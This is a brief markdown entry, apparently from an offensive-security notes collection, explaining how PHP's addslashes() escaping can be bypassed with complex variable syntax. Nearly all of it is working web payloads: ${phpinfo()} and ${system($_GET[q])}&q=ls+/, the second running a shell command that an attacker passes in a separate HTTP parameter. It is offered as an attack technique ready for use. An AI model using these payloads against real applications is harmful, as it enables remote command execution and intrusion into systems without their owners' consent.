killchain-compendium/Exploits/Web/PHP addslashes Bypass.md

281 B

Bypass addslashes()

The function addslashes() can be bypassed by using complex variables like ${VARIABLE}, for example ${phpinfo()} or using a second HTTP parameter for input via

${system($_GET[q])}&q=ls+/